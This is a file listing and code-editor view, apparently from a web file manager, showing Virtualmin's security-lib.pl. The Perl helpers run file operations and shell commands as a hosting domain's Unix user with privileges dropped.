-rw-r--r--
upgrade-licence.pl
3.91
KB
-rwxr-xr-x
upgrade-license.pl
3.91
KB
-rwxr-xr-x
upgrade.cgi
11.96
KB
-rwxr-xr-x
upload-api-docs.pl
6.18
KB
-rwxr-xr-x
upload-dropbox-file.pl
1.78
KB
-rwxr-xr-x
upload-rs-file.pl
2.83
KB
-rwxr-xr-x
upload-s3-file.pl
3.18
KB
-rwxr-xr-x
usage.cgi
5.71
KB
-rwxr-xr-x
user-template
380
B
-rw-r--r--
useradmin_update.pl
2.71
KB
-rwxr-xr-x
validate-domains.pl
3.54
KB
-rwxr-xr-x
validate.cgi
1.67
KB
-rwxr-xr-x
validate.pl
2.29
KB
-rwxr-xr-x
view_backuplog.cgi
4.28
KB
-rwxr-xr-x
view_domain.cgi
7.04
KB
-rwxr-xr-x
view_log.cgi
1.35
KB
-rwxr-xr-x
view_records.cgi
1.38
KB
-rwxr-xr-x
virtual-server-lib-funcs.pl
534.17
KB
-rwxr-xr-x
virtual-server-lib.pl
15.62
KB
-rwxr-xr-x
virtual_feature_api.pl
21.35
KB
-rwxr-xr-x
virtualmin-licence.pl
1.7
KB
-rwxr-xr-x
vui-lib.pl
7.56
KB
-rwxr-xr-x
warnbw-template
453
B
-rw-r--r--
webmin_menu.pl
6.08
KB
-rw-r--r--
webmincron-fixed.pl
473
B
-rwxr-xr-x
wizard-lib.pl
25.03
KB
-rwxr-xr-x
wizard.cgi
2.09
KB
-rwxr-xr-x
writelogs.pl
690
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : security-lib.pl
use feature 'state'; # Functions for accessing files and running commands as a domain owner # has_domain_user(&domain) # Returns 1 if some domain has a Unix user sub has_domain_user { my ($d) = @_; if ($d->{'parent'}) { $d = &get_domain($d->{'parent'}); } return 0 if (!$d->{'unix'}); my @uinfo = getpwnam($d->{'user'}); return scalar(@uinfo) ? 1 : 0; } # switch_to_domain_user(&domain) # Changes the current UID and GID to that of the domain's unix user sub switch_to_domain_user { my ($d) = @_; if ($d->{'parent'}) { $d = &get_domain($d->{'parent'}); } return 0 if (!$d->{'unix'}); # Doesn't have a user if (defined(&switch_to_unix_user)) { # Use new Webmin function that takes care of platform issues &switch_to_unix_user([ $d->{'user'}, undef, $d->{'uid'}, $d->{'ugid'} ]); } else { # DIY ($(, $)) = ( $d->{'ugid'}, "$d->{'ugid'} ".join(" ", $d->{'ugid'}, &other_groups($d->{'user'})) ); ($<, $>) = ( $d->{'uid'}, $d->{'uid'} ); } $ENV{'USER'} = $ENV{'LOGNAME'} = $d->{'user'}; $ENV{'HOME'} = $d->{'home'}; } # run_as_domain_user(&domain, command, background, [never-su]) # Runs some command as the owner of a virtual server, and returns the output sub run_as_domain_user { local ($d, $cmd, $bg, $nosu) = @_; if ($d->{'parent'}) { $d = &get_domain($d->{'parent'}); } # Set a reasonable environment for the command local %OLDENV = %ENV; $ENV{'HOME'} = $uinfo[7]; $ENV{'USER'} = $uinfo[0]; $ENV{'LOGNAME'} = $uinfo[0]; &foreign_require("proc"); local @uinfo = getpwnam($d->{'user'}); local @rv; if (($uinfo[8] =~ /\/(sh|bash|tcsh|csh)$/ || $gconfig{'os_type'} =~ /-linux$/) && !$nosu) { # Usable shell .. use su local $cmd = &command_as_user($d->{'user'}, 0, $cmd); if ($bg) { # No status available &system_logged("$cmd &"); @rv = ( undef, 0 ); } else { local $out = &backquote_logged($cmd); @rv = ( $out, $? ); } } else { # Need to run ourselves local $temp = &transname(); open(TEMP, ">$temp"); &proc::safe_process_exec_logged($cmd, $d->{'uid'}, $d->{'ugid'},\*TEMP); local $ex = $?; local $out; close(TEMP); local $_; open(TEMP, "<".$temp); while(<TEMP>) { $out .= $_; } close(TEMP); unlink($temp); @rv = ( $out, $ex ); } # Clean up the environment $ENV{'HOME'} = $OLDENV{'HOME'}; $ENV{'USER'} = $OLDENV{'USER'}; $ENV{'LOGNAME'} = $OLDENV{'LOGNAME'}; return wantarray ? @rv : $rv[0]; } # make_dir_as_domain_user(&domain, dir, permissions, recursive?) # Creates a directory, with mkdir run as the domain owner. Returns 1 on success # or 0 on failure. sub make_dir_as_domain_user { my ($d, $dir, $perms, $recur) = @_; return 1 if (&is_readonly_mode()); local $cmd = "mkdir ".($recur ? "-p " : "").quotemeta($dir)." 2>&1";; if ($perms) { $cmd .= " && chmod ".sprintf("%o", $perms & 07777)." ". quotemeta($dir)." 2>&1";; } local ($out, $ex) = &run_as_domain_user($d, $cmd); return $ex ? 0 : 1; } # unlink_file_as_domain_user(&domain, file, ...) # Deletes some files or directories, as the domain owner sub unlink_file_as_domain_user { my ($d, @files) = @_; return 1 if (&is_readonly_mode()); while(@files) { my @del; if (@files > 100) { @del = @files[0..99]; @files = @files[100..$#files]; } else { @del = @files; @files = ( ); } local $cmd = "rm -rf ".join(" ", map { quotemeta($_) } @del)." 2>&1"; local ($out, $ex) = &run_as_domain_user($d, $cmd); return 0 if ($ex); } return 1; } # unlink_logged_as_domain_user(&domain, file, ...) # Like unlink_file_as_domain_user, but locks the file to log the change sub unlink_logged_as_domain_user { my ($d, @files) = @_; my %locked; foreach my $f (@file) { if (!&test_lock($f)) { &lock_file($f); $locked{$f} = 1; } } my $rv = &unlink_file_as_domain_user($d, @files); foreach my $f (@files) { if ($locked{$f}) { &unlock_file($f); } } return $rv; } # symlink_file_as_domain_user(&domain, src, dest) # Creates a symbolic link, using ln -s run as the domain owner sub symlink_file_as_domain_user { my ($d, $src, $dest) = @_; return 1 if (&is_readonly_mode()); local $cmd = "ln -s ".quotemeta($src)." ".quotemeta($dest)." 2>&1"; local ($out, $ex) = &run_as_domain_user($d, $cmd); return $ex ? 0 : 1; } # symlink_logged_as_domain_user(&domain, src, dest) sub symlink_logged_as_domain_user { my ($d, $src, $dest) = @_; &lock_file($dest); my $rv = &symlink_file_as_domain_user($d, $src, $dest); &unlock_file($dest); return $rv; } # link_file_as_domain_user(&domain, src, dest) # Creates a hard link, using ln run as the domain owner sub link_file_as_domain_user { my ($d, $src, $dest) = @_; return 1 if (&is_readonly_mode()); local $cmd = "ln ".quotemeta($src)." ".quotemeta($dest)." 2>&1"; local ($out, $ex) = &run_as_domain_user($d, $cmd); return $ex ? 0 : 1; } # open_tempfile_as_domain_user(&domain, handle, file, [no-error], # [no-tempfile], [safe?]) # Like the Webmin open_tempfile function, but in a sub-process that runs as # the domain owner. sub open_tempfile_as_domain_user { my ($d, $fh, $file, $noerror, $notemp, $safe) = @_; $fh = (caller(0))[0]."::".$fh; my $realfile = $file; $realfile =~ s/^[> ]*//; while(-l $realfile) { # Open the link target instead $realfile = &resolve_links($realfile); } if (-d $realfile) { if ($noerror) { return 0; } else { &error("Cannot write to directory $realfile"); } } if (&is_readonly_mode() && $file =~ />/ && !$safe) { # Read-only mode .. veto all writes return open($fh, ">$null_file"); } # Get the temp file now, before forking my $tempfile; if ($file =~ /^>\s*(([a-zA-Z]:)?\/.*)$/ && !$notemp) { $tempfile = &open_tempfile($realfile); } # Create pipes for sending in data and reading back error my ($writein, $writeout) = ($fh, "writeout".(++$main::open_tempfile_count)); my ($readin, $readout) = ("readin".(++$main::open_tempfile_count), "readout".(++$main::open_tempfile_count)); pipe($writeout, $writein); pipe($readout, $readin); # Fork the process we will use for writing my $pid = fork(); if ($pid < 0) { if ($noerror) { return 0; } else { &error("Failed to fork sub-process for writing : $!"); } } if (!$pid) { # Close file handles untie(*STDIN); untie(*STDOUT); untie(*STDERR); close(STDIN); close(STDOUT); close(STDERR); close($writein); close($readout); my $oldsel = select($readin); $| = 1; select($oldsel); # Open the temp file and start writing &switch_to_domain_user($d); if ($file =~ /^>\s*(([a-zA-Z]:)?\/.*)$/ && !$notemp) { # Writing to a file, via a tempfile my $ex = open(FILE, ">$tempfile"); if (!$ex) { print $readin "Failed to open $tempfile : $!\n"; exit(1); } } elsif ($file =~ /^>\s*(([a-zA-Z]:)?\/.*)$/ && $notemp) { # Writing directly my $ex = open(FILE, ">$realfile"); if (!$ex) { print $readin "Failed to open $realfile : $!\n"; exit(1); } } elsif ($file =~ /^>>\s*(([a-zA-Z]:)?\/.*)$/) { # Appending to a file my $ex = open(FILE, ">>$realfile"); if (!$ex) { print $readin "Failed to open $realfile : $!\n"; exit(1); } } else { print $readin "Unknown file mode $file\n"; exit(1); } print $readin "OK\n"; # Signal OK $SIG{'PIPE'} = 'ignore'; # Write errors detected by print while(<$writeout>) { my $rv = (print FILE $_); if (!$rv) { print $readin "Write to $realfile failed : $!\n"; exit(2); } } my $ex = close(FILE); if ($ex) { exit(0); } else { print $readin "Close of $realfile failed : $!\n"; exit(3); } } close($writeout); close($readin); # Check if the file was opened OK my $oldsel = select($readout); $| = 1; select($oldsel); my $err = <$readout>; chop($err); if ($err ne 'OK') { waitpid($pid, 0); if ($noerror) { return 0; } else { &error($err || "Unknown error in sub-process"); } } $main::open_temphandles{$fh} = $realfile; $main::open_tempfile_as_domain_user_pid{$fh} = $pid; $main::open_tempfile_readout{$fh} = $readout; $main::open_tempfile_noerror{$fh} = $noerror; return 1; } # close_tempfile_as_domain_user(&domain, fh) # Like close_tempfile, but does the final write as the domain owner sub close_tempfile_as_domain_user { my ($d, $fh) = @_; $fh = (caller(0))[0]."::".$fh; my $pid = $main::open_tempfile_as_domain_user_pid{$fh}; my $readout = $main::open_tempfile_readout{$fh}; my $realfile = $main::open_temphandles{$fh}; my $tempfile = $main::open_tempfiles{$realfile}; my ($rv, $err); if ($pid) { # Writing was done in a sub-process .. wait for it to exit close($fh); waitpid($pid, 0); my $ex = $?; $err = <$readout>; close($readout); # Rename over temp file if needed if ($tempfile && !$ex) { my @st = stat($realfile); &rename_as_domain_user($d, $tempfile, $realfile); if (@st) { &set_permissions_as_domain_user($d, $st[2], $realfile); } } $rv = !$ex; } else { # Just close the file $rv = close($fh); } delete($main::open_tempfile_as_domain_user_pid{$fh}); delete($main::open_tempfile_readout{$fh}); delete($main::open_temphandles{$fh}); return $rv; } # open_readfile_as_domain_user(&domain, handle, file) # Open a file for reading, using a sub-process run as the domain owner sub open_readfile_as_domain_user { my ($d, $fh, $file) = @_; my ($readin, $readout) = ("readin".(++$main::open_tempfile_count), $fh); pipe($readout, $readin); my $pid = fork(); if ($pid < 0) { return 0; } if (!$pid) { # Close file handles untie(*STDIN); untie(*STDOUT); untie(*STDERR); close(STDIN); close(STDOUT); close(STDERR); close($readout); my $oldsel = select($readin); $| = 1; select($oldsel); # Open the file and start reading &switch_to_domain_user($d); my $ok = open(FILE, "<".$file); if (!$ok) { print $readin "Failed to open $file : $!\n"; exit(1); } print $readin "OK\n"; # Signal OK while(<FILE>) { print $readin $_; } close(FILE); exit(0); } close($readin); my $oldsel = select($readout); $| = 1; select($oldsel); my $err = <$readout>; chop($err); if ($err ne 'OK') { waitpid($pid, 0); return 0; } $main::open_readfile_as_domain_user_pid{$fh} = $pid; return 1; } # close_readfile_as_domain_user(&domain, handle) # Close a file opened by open_readfile_as_domain_user sub close_readfile_as_domain_user { my ($d, $fh) = @_; my $pid = $main::open_readfile_as_domain_user_pid{$fh}; if ($pid) { close($fh); kill('KILL', $pid); waitpid($pid, 0); } delete($main::open_readfile_as_domain_user_pid{$fh}); return 1; } # read_file_lines_as_domain_user(&domain, file, [readonly]) # Like Webmin's read_file_lines function, but opens the file as a domain owner sub read_file_lines_as_domain_user { my ($d, $file, $ro) = @_; if (!$file) { my ($package, $filename, $line) = caller; &error("Missing file to read at ${package}::${filename} line $line\n"); } if (!$main::file_cache{$file}) { my (@lines, $eol); local $_; &open_readfile_as_domain_user($d, READFILE, $file); while(<READFILE>) { if (!$eol) { $eol = /\r\n$/ ? "\r\n" : "\n"; } tr/\r\n//d; push(@lines, $_); } &close_readfile_as_domain_user($d, READFILE); $main::file_cache{$file} = \@lines; $main::file_cache_noflush{$file} = $ro; $main::file_cache_eol{$file} = $eol || "\n"; } else { # Make read-write if currently readonly if (!$ro) { $main::file_cache_noflush{$file} = 0; } } return $main::file_cache{$file}; } # flush_file_lines_as_domain_user(&domain, file, eol) # Write out a file read into memory by read_file_lines_as_domain_user sub flush_file_lines_as_domain_user { my ($d, $file, $eol) = @_; my ($package, $filename, $line) = caller; if (!$file) { &error("Missing file to flush at ${package}::${filename} line $line"); } if (!$main::file_cache{$file}) { &error("File $file was not opened by read_file_lines_as_domain_user ". "at ${package}::${filename} line $line"); } $eol ||= $main::file_cache_eol{$file} || "\n"; if (!$main::file_cache_noflush{$file}) { &open_tempfile_as_domain_user($d, FLUSHFILE, ">$file"); foreach my $line (@{$main::file_cache{$file}}) { (print FLUSHFILE $line,$eol) || &error(&text("efilewrite", $file, $!)); } &close_tempfile_as_domain_user($d, FLUSHFILE); } delete($main::file_cache{$file}); delete($main::file_cache_noflush{$file}); } # rename_as_domain_user(&domain, oldfile, newfile) # Rename a file, using mv run as the domain owner sub rename_as_domain_user { my ($d, $oldfile, $newfile) = @_; return 1 if (&is_readonly_mode()); my $cmd = "mv -f ".quotemeta($oldfile)." ".quotemeta($newfile)." 2>&1"; my ($out, $ex) = &run_as_domain_user($d, $cmd); return $ex ? 0 : 1; } # set_permissions_as_domain_user(&domain, perms, file, ...) # Set permissions on some file, using chmod run as the domain owner sub set_permissions_as_domain_user { my ($d, $perms, @files) = @_; return 1 if (&is_readonly_mode()); my $cmd = "chmod ".sprintf("%o", $perms & 07777)." ". join(" ", map { quotemeta($_) } @files)." 2>&1"; my ($out, $ex) = &run_as_domain_user($d, $cmd); return $ex ? 0 : 1; } # execute_as_domain_user(&domain, &code) # Run some code reference in a sub-process, as the domain's user. If the # function fails (due to calling error), this process will exit too. sub execute_as_domain_user { my ($d, $code) = @_; my $pid = fork(); if (!$pid) { &switch_to_domain_user($d); &$code(); exit(0); } elsif ($pid < 0) { &error("Fork for execute_as_domain_user failed : $!"); } else { waitpid($pid, 0); if ($?) { exit($? / 256); } } } # control_path_permissions(action, dir/file, [under_dir]) # Can set and get given file permissions for each path parts # # Example: # call: control_path_permissions('set', '/root/dir1/dir2/dir3/file1.txt', '/root/dir1'); # stores: ['/root/dir1/dir2/dir3/file1.txt' => # { # '/root/dir1/dir2/dir3/file1.txt' => oct # 644 # '/root/dir1/dir2/dir3' => oct # 755 # '/root/dir1/dir2' => oct # 755 # '/root/dir1' => oct # 755 # }] sub control_path_permissions { my ($action, $path, $under) = @_; state %paths; # Store and fix initial path my $ipath = $path; $ipath =~ s/[\/]+$//g; # Return existing if ($action eq 'get') { return $paths{$ipath}; } elsif ($action eq 'set') { # Controls which path parts are affected when called, # e.g. passing /home/user/public_html/script will not # consider anything below given directory my $under_dir = !ref($under) && -d $under ? $under : ref($under) ? $under->{'home'} || "/" : "/"; # Sanity check for passed path to # make sure that a directory ends # always with trailing slash if (-d $path && $path !~ /\/$/) { $path .= "/"; } my $xpath = $path; my %cpaths; # In case initial param refers to a file, always add it # manually, as next iteration only works on directories $cpaths{$path} = sprintf("%04o", (stat($path))[2] & 07777) if (!-d $path && -r $path); # Build a hash storing `file => currperms` records map { $xpath =~ s/(.*)(\/.*)/$1/; if (&is_under_directory($under_dir, $xpath)) { $cpaths{$xpath} = sprintf("%04o", (stat($xpath))[2] & 07777) if ($xpath && -e $xpath); } } split('/', $path); # Return a list of current permissions for passed path $paths{$ipath} = \%cpaths; return $paths{$ipath}; } } # set_filepath_permissions_as_domain_user(&domain, file, [perms], [under]) # Set given file and each path parts certain # permissions (to make file and path writable) sub set_filepath_permissions_as_domain_user { my ($d, $file, $perms, $under) = @_; $perms ||= 0755; my $fileparts = &control_path_permissions('set', $file, $under || $d->{'home'}); my @files = keys %{$fileparts}; my $done_num = &set_permissions_as_domain_user($d, $perms, @files) if (@files); return $done_num; } # restore_filepath_permissions_as_domain_user(&domain, file, [under]) # Restores given file and each path parts initial permissions sub restore_filepath_permissions_as_domain_user { my ($d, $file, $under) = @_; my $fileparts = &control_path_permissions('get', $file, $under || $d->{'home'}); my $done_num; foreach my $ifile (keys %{$fileparts}) { if (&set_permissions_as_domain_user($d, oct($fileparts->{$ifile}), $ifile)) { $done_num++; } } return $done_num; } # write_as_domain_user(&domain, &code) # Runs some code with the effective UID and GID set to that of the domain user, # so that file IO is locked down. Sets it back afterwards. sub write_as_domain_user { my ($d, $code) = @_; if ($d->{'parent'}) { $d = &get_domain($d->{'parent'}); } if ($d->{'unix'}) { my $gid = $d->{'ugid'} || $d->{'gid'}; $) = $gid." ".join(" ", $gid, &other_groups($d->{'user'})); $> = $d->{'uid'}; } my @rv; eval { local $main::error_must_die = 1; @rv = &$code(); }; my $err = $@; if ($d->{'unix'}) { $) = 0; $> = 0; } if ($err) { $err =~ s/\s+at\s+(\/\S+)\s+line\s+(\d+)\.?//; &error($err); } return wantarray ? @rv : $rv[0]; } # write_as_mailbox_user(&user, &code) # Runs some code with the effective UID and GID set to that of a mailbox user, # so that file IO is locked down. Sets it back afterwards. sub write_as_mailbox_user { my ($user, $code) = @_; $) = $user->{'gid'}." ".join(" ", $user->{'gid'}, &other_groups($user->{'user'})); $> = $user->{'uid'}; my @rv; eval { local $main::error_must_die = 1; @rv = &$code(); }; my $err = $@; $) = 0; $> = 0; if ($err) { $err =~ s/\s+at\s+(\/\S+)\s+line\s+(\d+)\.?//; &error($err); } return wantarray ? @rv : $rv[0]; } # copy_source_dest_as_domain_user(&domain, source, dest) # Copy a file or directory, with commands run as a domain owner sub copy_source_dest_as_domain_user { my ($d, $src, $dst) = @_; return (1, undef) if (&is_readonly_mode()); my $ok = 1; my $err; if (-d $src) { # A directory .. need to copy with tar command my @st = stat($src); &unlink_file_as_domain_user($d, $dst); &make_dir_as_domain_user($d, $dst, $st[2]); my ($out, $ex) = &run_as_domain_user($d, "(cd ".quotemeta($src)." && ". &make_tar_command("cf", "-", "."). " | (cd ".quotemeta($dst)." && ". &make_tar_command("xf", "-").")) 2>&1"); if ($ex) { $ok = 0; $err = $out; } } else { # Can just copy with cp my ($out, $ex) = &run_as_domain_user($d, "cp -p ".quotemeta($src)." ".quotemeta($dst)." 2>&1"); if ($ex && $out !~ /failed to preserve ownership/i) { $ok = 0; $err = $out; } } return wantarray ? ($ok, $err) : $ok; } # copy_write_as_domain_user(&domain, source, dest) # Copy a file, with only the writing done as the domain user sub copy_write_as_domain_user { my ($d, $src, $dst) = @_; return (1, undef) if (&is_readonly_mode()); my ($ok, $err); $ok = 1; if (!open(SOURCEFILE, "<".$src)) { $ok = 0; $err = $!; } else { if (!&open_tempfile_as_domain_user($d, DESTFILE, ">$dst", 1, 1)) { $ok = 0; $err = $!; } else { eval { local $main::error_must_die = 1; my $bs = &get_buffer_size(); my $buf; while(read(SOURCEFILE, $buf, $bs) > 0) { &print_tempfile(DESTFILE, $buf); } }; if ($@) { $ok = 0; $err = $@; } close(SOURCEFILE); &close_tempfile_as_domain_user($d, DESTFILE); } } return wantarray ? ($ok, $err) : $ok; } # safe_domain_file(&domain, file) # Returns 1 if some file is safe for a given domain to manage. # Currently just prevents symlinks sub safe_domain_file { my ($d, $file) = @_; my $realfile = &resolve_links($file); return $realfile eq $file || &same_file($realfile, $file); } # read_file_contents_as_domain_user(&domain, file) # Returns the full contents of some file, read as the domain owner sub read_file_contents_as_domain_user { my ($d, $file) = @_; &open_readfile_as_domain_user($d, FILE, $file) || return undef; local $/ = undef; my $rv = <FILE>; &close_readfile_as_domain_user($d, FILE); return $rv; } # readable_by_domain_user(&domain, file) # Uses -r to check for readability, but as the domain user sub readable_by_domain_user { my ($d, $file) = @_; my $rv = &write_as_domain_user($d, sub { -r $file }); return $rv; } 1;
Close